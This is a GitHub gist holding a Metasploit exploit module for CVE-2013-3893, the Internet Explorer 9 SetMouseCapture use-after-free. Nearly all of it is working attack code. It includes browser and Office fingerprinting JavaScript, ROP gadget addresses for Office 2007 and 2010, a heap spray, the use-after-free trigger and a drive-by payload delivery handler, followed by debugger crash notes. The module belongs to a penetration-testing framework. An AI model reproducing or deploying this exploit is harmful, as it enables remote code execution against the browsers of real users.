Created
October 1, 2013 17:57
-
-
Save jvazquez-r7/6782412 to your computer and use it in GitHub Desktop.
ie_setmousecapture_uaf using ropdb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# Framework web site for more information on licensing and terms of use. | |
# http://metasploit.com/framework/ | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = NormalRanking | |
include Msf::Exploit::Remote::HttpServer::HTML | |
include Msf::Exploit::RopDb | |
def initialize(info={}) | |
super(update_info(info, | |
'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free", | |
'Description' => %q{ | |
This module exploits a use-after-free vulnerability that currents targets Internet | |
Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. | |
It was initially found in the wild in Japan, but other regions such as English, | |
Chinese, Korean, etc, were targeted as well. | |
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a | |
reference during an event. An attacker first can setup two elements, where the second | |
is the child of the first, and then setup a onlosecapture event handler for the parent | |
element. The onlosecapture event seems to require two setCapture() calls to trigger, | |
one for the parent element, one for the child. When the setCapture() call for the child | |
element is called, it finally triggers the event, which allows the attacker to cause an | |
arbitrary memory release using document.write(), which in particular frees up a 0x54-byte | |
memory. The exact size of this memory may differ based on the version of IE. After the | |
free, an invalid reference will still be kept and pass on to more functions, eventuall | |
this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary | |
code execution) when this function attempts to use this reference to call what appears to | |
be a PrivateQueryInterface due to the offset (0x00). | |
To mimic the same exploit found in the wild, this module will try to use the same DLL | |
from Microsoft Office 2007 or 2010 to leverage the attack. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Unknown', # Exploit in the wild first spotted in Japan | |
'sinn3r' # Metasploit (thx binjo for the heads up!) | |
], | |
'References' => | |
[ | |
[ 'CVE', '2013-3893' ], | |
[ 'OSVDB', '97380' ], | |
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], | |
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ] | |
], | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
[ 'Automatic', {} ], | |
[ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ] | |
], | |
'Payload' => | |
{ | |
'BadChars' => "\x00", | |
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 | |
}, | |
'DefaultOptions' => | |
{ | |
'PrependMigrate' => true, | |
'InitialAutoRunScript' => 'migrate -f' | |
}, | |
'Privileged' => false, | |
'DisclosureDate' => "Sep 17 2013", | |
'DefaultTarget' => 0)) | |
end | |
def is_win7_ie9?(agent) | |
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) | |
end | |
def get_preq_html(cli, req) | |
%Q| | |
<html> | |
<script> | |
function getDLL() { | |
var checka = 0; | |
var checkb = 0; | |
try { | |
checka = new ActiveXObject("SharePoint.OpenDocuments.4"); | |
} catch (e) {} | |
try { | |
checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); | |
} catch (e) {} | |
if ((typeof checka) == "object" && (typeof checkb) == "object") { | |
return "office2010"; | |
} | |
else if ((typeof checka) == "number" && (typeof checkb) == "object") { | |
return "office2007"; | |
} | |
return "na"; | |
} | |
window.onload = function() { | |
document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL(); | |
} | |
</script> | |
</html> | |
| | |
end | |
def junk | |
return rand_text_alpha(4).unpack("V")[0].to_i | |
end | |
def get_payload(rop_dll) | |
code = payload.encoded | |
rop = '' | |
alignment = '' | |
case rop_dll | |
when :office2007 | |
alignment = | |
[ | |
junk, # Alignment | |
].pack("V*") | |
rop = generate_rop_payload('hxds', code, { 'target'=>'2007' }) | |
when :office2010 | |
alignment = | |
[ | |
# 4 dword junks due to the add esp in stack pivot | |
junk, | |
junk, | |
junk, | |
junk, | |
].pack("V*") | |
rop = generate_rop_payload('hxds', code, { 'target'=>'2010' }) | |
end | |
p = alignment + rop + code | |
p | |
end | |
def get_exploit_html(cli, req, rop_dll) | |
gadgets = {} | |
case rop_dll | |
when :office2007 | |
gadgets[:spray1] = 0x1af40020 | |
# 0x31610020-0xc4, pointer to gadgets[:call_eax] | |
gadgets[:target] = 0x3160ff5c | |
# mov eax, [esi] | |
# push esi | |
# call [eax+4] | |
gadgets[:call_eax] = 0x51bd1ce8 | |
# xchg eax,esp | |
# add byte [eax], al | |
# pop esi | |
# mov [edi+23c], ebp | |
# mov [edi+238], ebp | |
# mov [edi+234], ebp | |
# pop ebp | |
# pop ebx | |
# ret | |
gadgets[:pivot] = 0x51be4418 | |
when :office2010 | |
gadgets[:spray1] = 0x1a7f0020 | |
# 0x30200020-0xc4, pointer to gadgets[:call_eax] | |
gadgets[:target] = 0x301fff5c | |
# mov eax, [esi] | |
# push esi | |
# call [eax+4] | |
gadgets[:call_eax] = 0x51bd1a41 | |
# xchg eax,esp | |
# add eax,dword ptr [eax] | |
# add esp,10 | |
# mov eax,esi | |
# pop esi | |
# pop ebp # retn 4 | |
gadgets[:pivot] = 0x51c00e64 | |
end | |
p1 = | |
[ | |
gadgets[:target], # Target address | |
gadgets[:pivot] # stack pivot | |
].pack("V*") | |
p1 << get_payload(rop_dll) | |
p2 = | |
[ | |
gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) | |
].pack("V*") | |
js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*")) | |
js_p1 = Rex::Text.to_unescape(p1) | |
js_p2 = Rex::Text.to_unescape(p2) | |
%Q| | |
<html> | |
<script> | |
#{js_property_spray} | |
function loadOffice() { | |
try{location.href='ms-help://'} catch(e){} | |
} | |
var a = new Array(); | |
function spray() { | |
var obj = ''; | |
for (i=0; i<20; i++) { | |
if (i==0) { obj += unescape("#{js_s1}"); } | |
else { obj += "\\u4242\\u4242"; } | |
} | |
obj += "\\u5555"; | |
for (i=0; i<10; i++) { | |
var e = document.createElement("div"); | |
e.className = obj; | |
a.push(e); | |
} | |
var s1 = unescape("#{js_p1}"); | |
sprayHeap({shellcode:s1, maxAllocs:0x300}); | |
var s2 = unescape("#{js_p2}"); | |
sprayHeap({shellcode:s2, maxAllocs:0x300}); | |
} | |
function hit() | |
{ | |
var id_0 = document.createElement("sup"); | |
var id_1 = document.createElement("audio"); | |
document.body.appendChild(id_0); | |
document.body.appendChild(id_1); | |
id_1.applyElement(id_0); | |
id_0.onlosecapture=function(e) { | |
document.write(""); | |
spray(); | |
} | |
id_0['outerText']=""; | |
id_0.setCapture(); | |
id_1.setCapture(); | |
} | |
for (i=0; i<20; i++) { | |
document.createElement("frame"); | |
} | |
window.onload = function() { | |
loadOffice(); | |
hit(); | |
} | |
</script> | |
</html> | |
| | |
end | |
def on_request_uri(cli, request) | |
agent = request.headers['User-Agent'] | |
unless is_win7_ie9?(agent) | |
print_error("Not a suitable target: #{agent}") | |
send_not_found(cli) | |
end | |
html = '' | |
if request.uri =~ /\?dll=(\w+)$/ | |
rop_dll = '' | |
if $1 == 'office2007' | |
print_status("Using Office 2007 ROP chain") | |
rop_dll = :office2007 | |
elsif $1 == 'office2010' | |
print_status("Using Office 2010 ROP chain") | |
rop_dll = :office2010 | |
else | |
print_error("Target does not have Office installed") | |
send_not_found(cli) | |
return | |
end | |
html = get_exploit_html(cli, request, rop_dll) | |
else | |
print_status("Checking target requirements...") | |
html = get_preq_html(cli, request) | |
end | |
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) | |
end | |
def exploit | |
@exploit_page = "default.html" | |
super | |
end | |
end | |
=begin | |
hxds.dll (Microsoft® Help Data Services Module) | |
2007 DLL info: | |
ProductVersion: 2.05.50727.198 | |
FileVersion: 2.05.50727.198 (QFE.050727-1900) | |
2010 DLL info: | |
ProductVersion: 2.05.50727.4039 | |
FileVersion: 2.05.50727.4039 (QFE.050727-4000) | |
mshtml.dll | |
ProductVersion: 9.00.8112.16446 | |
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400) | |
FileDescription: Microsoft (R) HTML Viewer | |
0:005> r | |
eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34 | |
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc | |
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 | |
MSHTML!CTreeNode::GetInterface+0xd8: | |
679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=???????? | |
66e13df7 8b0e mov ecx,dword ptr [esi] | |
66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000) | |
66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] | |
66e13e01 ffd0 call eax | |
=end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment